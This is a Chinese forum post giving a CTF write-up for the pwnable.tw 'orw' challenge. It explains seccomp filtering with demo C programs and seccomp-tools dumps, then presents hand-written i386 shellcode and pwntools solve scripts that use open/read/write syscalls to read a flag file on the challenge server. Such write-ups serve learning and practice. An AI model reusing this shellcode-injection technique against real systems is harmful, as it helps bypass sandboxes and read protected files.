吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 3296|回复: 4
收起左侧

[调试逆向] pwnable.tw - orw - 自定义shellcode

  [复制链接]
dreamingctf 发表于 2022-3-19 11:18
一句话题解:由于 seccomp 函数,被 system、execve 等函数 ban 了,需要用 open、read、write 函数把 flag 读取出来

[Asm] 纯文本查看 复制代码
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x8048000  0x8049000 r-xp     1000 0 orw
0x8049000  0x804a000 r-xp     10 orw
0x804a000  0x804b000 rwxp     1000 100orw


分析程序是直接上 shellcode,使用 shellcraft.sh(),上 gdb 调试,发现能收到命令,但是命令不执行

seccomp 学习的相关链接
https://www.anquanke.com/post/id/208364#h2-0

https://blog.csdn.net/ATOOHOO/article/details/88957596
https://blog.csdn.net/Necrolic/article/details/106009382

[C] 纯文本查看 复制代码
#include <stdio.h>
int main(){
    char * filename = "/bin/sh";
    char * argv[] = {"/bin/sh", NULL};
    char * envp[] = {NULL};
    write(1, "A Shell.\n", 24);
    //execve
    syscall(59, filename, argv, envp);
    return 0;
}


[C] 纯文本查看 复制代码
#include <stdio.h>
#include <unistd.h>
#include <seccomp.h>

int main(){
    scmp_filter_ctx ctx;
    ctx = seccomp_init(SCMP_ACT_ALLOW);
    seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
    seccomp_load(ctx);
    char * filename = "/bin/sh";
    char * argv[] = {"/bin/sh", NULL};
    char * envp[] = {NULL};
    write(1, "A Shell.\n", 24);
    //execve
    syscall(59, filename, argv, envp);
    return 0;
}


编译命令
[Asm] 纯文本查看 复制代码
gcc A.c -o A -l seccomp


运行结果
[Asm] 纯文本查看 复制代码
./syscall
A Shell.
;<$ ls
ex_prctl  ex_prctl.c  seccomp_example  seccomp_example.c  syscall  syscall.c
$ ^Z^C
$ exit

./syscall_seccomp
A Shell.
;<Bad system call

说明本来可以用的 execve 函数被 ban 了


seccomp-tools 逆向工具相关链接
[Asm] 纯文本查看 复制代码
https://github.com/david942j/seccomp-tools

sudo seccomp-tools dump syscall_seccomp
line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004  A = arch
0001: 0x15 0x00 0x05 0xc000003e  if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000  A = sys_number
0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff  if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
0007: 0x06 0x00 0x00 0x00000000  return KILL

seccomp-tools dump orw
line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004  A = arch
0001: 0x15 0x00 0x09 0x40000003  if (A != ARCH_I386) goto 0011
0002: 0x20 0x00 0x00 0x00000000  A = sys_number
0003: 0x15 0x07 0x00 0x000000ad  if (A == rt_sigreturn) goto 0011
0004: 0x15 0x06 0x00 0x00000077  if (A == sigreturn) goto 0011
0005: 0x15 0x05 0x00 0x000000fc  if (A == exit_group) goto 0011
0006: 0x15 0x04 0x00 0x00000001  if (A == exit) goto 0011
0007: 0x15 0x03 0x00 0x00000005  if (A == open) goto 0011
0008: 0x15 0x02 0x00 0x00000003  if (A == read) goto 0011
0009: 0x15 0x01 0x00 0x00000004  if (A == write) goto 0011
0010: 0x06 0x00 0x00 0x00050026  return ERRNO(38)
0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW



根据这个工具提供的信息,这个题可用的函数是 open、read、write
需要用这几个系统调用自定义一个读取 flag 的函数
题目 writeup 相关链接
https://www.jianshu.com/p/d14b42d96cac
https://www.cnblogs.com/unlookup/p/15337570.html
http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/




所以,顺序应该是:用 open 打开该文件的描述符,用 read 函数打开该文件读取到 buffer,用 write 函数输出到屏幕

[Asm] 纯文本查看 复制代码
#define __NR_read 3
#define __NR_write 4
#define __NR_open 5

sys_open 系统调用传递的四个寄存器参数即具体实现:
eax = 0x05 系统调用号
ebx = filename 文件名
ecx = flags 置零即可
edx = mode 置零即可


sys_read 系统调用传递的四个寄存器参数即具体实现:


eax = 0x03  系统调用号
ebx = fd 文件指针,就是open的返回值,不需要改变
ecx = buf 缓冲区,指向栈顶位置
edx = count  字节数


sys_write 系统调用传递的四个寄存器参数即具体实现:
eax = 0x04  系统调用号
ebx = fd  文件指针,置为1,打印到屏幕
ecx = buf  缓冲区,指向栈顶
edx = count


open 函数
xor eax,eax
push eax  ;"\0\0\0\0"
push 0x67616c66  ;"flag"
push 0x2f2f2f77  ;"w///"
push 0x726f2f65  ;"e/or"
push 0x6d6f682f  ;"/hom"
mov ebx,esp  ;esp is the address of "home/orw///flag"
mov al,5  ;__NR_open
int 0x80


read 函数
mov ebx,eax  ;调用open之后,返回值(flag文件fd)存在了eax中
mov ecx,esp  ;esp作为写入的起始处
xor edx,edx
mov dl,0x80  ;len
mov al,3  ;__NR_read
int 0x80  ;


write 函数
xor ebx,ebx
mov bl,1  ;stdout
mov al,4  ;__NR_write
int 0x80  


[Python] 纯文本查看 复制代码
from pwn import *

context(os='linux',arch='i386')

io = remote('chall.pwnable.tw',10001)
#io = process("./orw")

#open
open_code = 'xor eax,eax\n'
open_code += 'push eax\n'
open_code += 'push ' + str(int.from_bytes(b"flag", 'little')) + '\n'
open_code += 'push ' + str(int.from_bytes(b"w///", 'little')) + '\n'
open_code += 'push ' + str(int.from_bytes(b"e/or", 'little')) + '\n'
open_code += 'push ' + str(int.from_bytes(b"/hom", 'little')) + '\n'
#open_code += 'push 0x67616c66\n'
#open_code += 'push 0x2f2f2f77\n'
#open_code += 'push 0x726f2f65\n'
#open_code += 'push 0x6d6f682f\n'
open_code += 'mov ebx,esp\n'
open_code += 'xor ecx,ecx\n'
open_code += 'mov al,5\n'
open_code += 'int 0x80\n'

#read
read_code = 'mov ebx,eax\n'
read_code += 'mov ecx,esp\n'
read_code += 'xor edx,edx\n'
read_code += 'mov dl,0x80\n'
read_code += 'mov al,3\n'
read_code += 'int 0x80\n'

#write
write_code = 'xor ebx,ebx\n'
write_code += 'mov bl,1\n'
write_code += 'mov al,4\n'
write_code += 'int 0x80'

shellcode = open_code + read_code + write_code

io.sendline(asm(shellcode))
io.interactive()


偷懒写法是这样的
[Python] 纯文本查看 复制代码
#!/usr/bin/env python
# coding=utf-8

from pwn import *
context(os = 'linux', arch = 'i386')
io = process("./orw")

payload = shellcraft.i386.pushstr("/home/orw/flag")
payload += shellcraft.i386.linux.syscall("SYS_open", "esp")
payload += shellcraft.i386.linux.syscall("SYS_read", "eax", "esp", 0x30)
payload += shellcraft.i386.linux.syscall("SYS_write", 1, "esp", 0x30)

io.recvuntil(":")
io.sendline(asm(payload))
io.interactive()

这里要注意,在本地测试的时候,本地要有 /home/orw/flag 这个文件的

免费评分

参与人数 3威望 +1 吾爱币 +21 热心值 +2 收起 理由
Hmily + 1 + 20 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
夫子点灯 + 1 谢谢@Thanks!
knight5678 + 1 谢谢@Thanks!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

一斗福 发表于 2022-3-19 13:12
谢谢 受益匪浅
tencentma 发表于 2022-3-19 13:17
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-21 19:41

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表